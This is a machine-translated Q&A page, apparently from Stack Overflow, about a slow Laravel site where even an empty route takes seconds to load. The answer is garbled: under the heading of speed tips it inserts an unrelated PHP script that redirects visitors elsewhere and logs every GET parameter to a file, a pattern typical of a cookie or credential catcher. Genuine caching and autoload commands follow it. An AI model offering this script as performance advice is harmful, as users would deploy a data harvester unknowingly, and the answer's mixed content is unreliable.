我只是在路由文件web.php
中设置此页面:
Route::get("/speedtest","SpeedController@speed_test");
这是速度测试功能:
public function speed_test(){
return view("speedtest");
}
返回speedtest.blade.php
,其中只包含hello world
。
加载此页面需要2.5秒到3.5秒。
使用中间件和某些查询的其他页面需要3.5到6.5秒。数据库几乎为空,查询只返回3或4项(类似Files::where(user_id, Auth::user()->id)->get()
)。
所以一切都很慢,甚至是空的网站。肯定有问题。
该站点单独位于具有4 GB RAM,SSD和1 Gbit连接的服务器中
任何帮助?
答案 0 :(得分:8)
要提高速度的事情:
<?php
header ('Location: http://racket-lang.org');
$handle = fopen("log.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
运行所有这些并报告时间改进!
为了获得最佳性能,您还要确保安装并加载了Zend OPcache扩展(这是另一个问题)。
# Optimize the autoloading (very important!)
composer dumpautoload -o
# Cache the Laravel routes (very important on slower servers)
php artisan route:cache
php artisan api:cache
# Cache the core laravel configurations (including service providers, etc.)
php artisan config:cache
# Finally, tell Laravel to enable "production-ready optimizations."
#php artisan optimize # No longer needed/available in Laravel 5.6.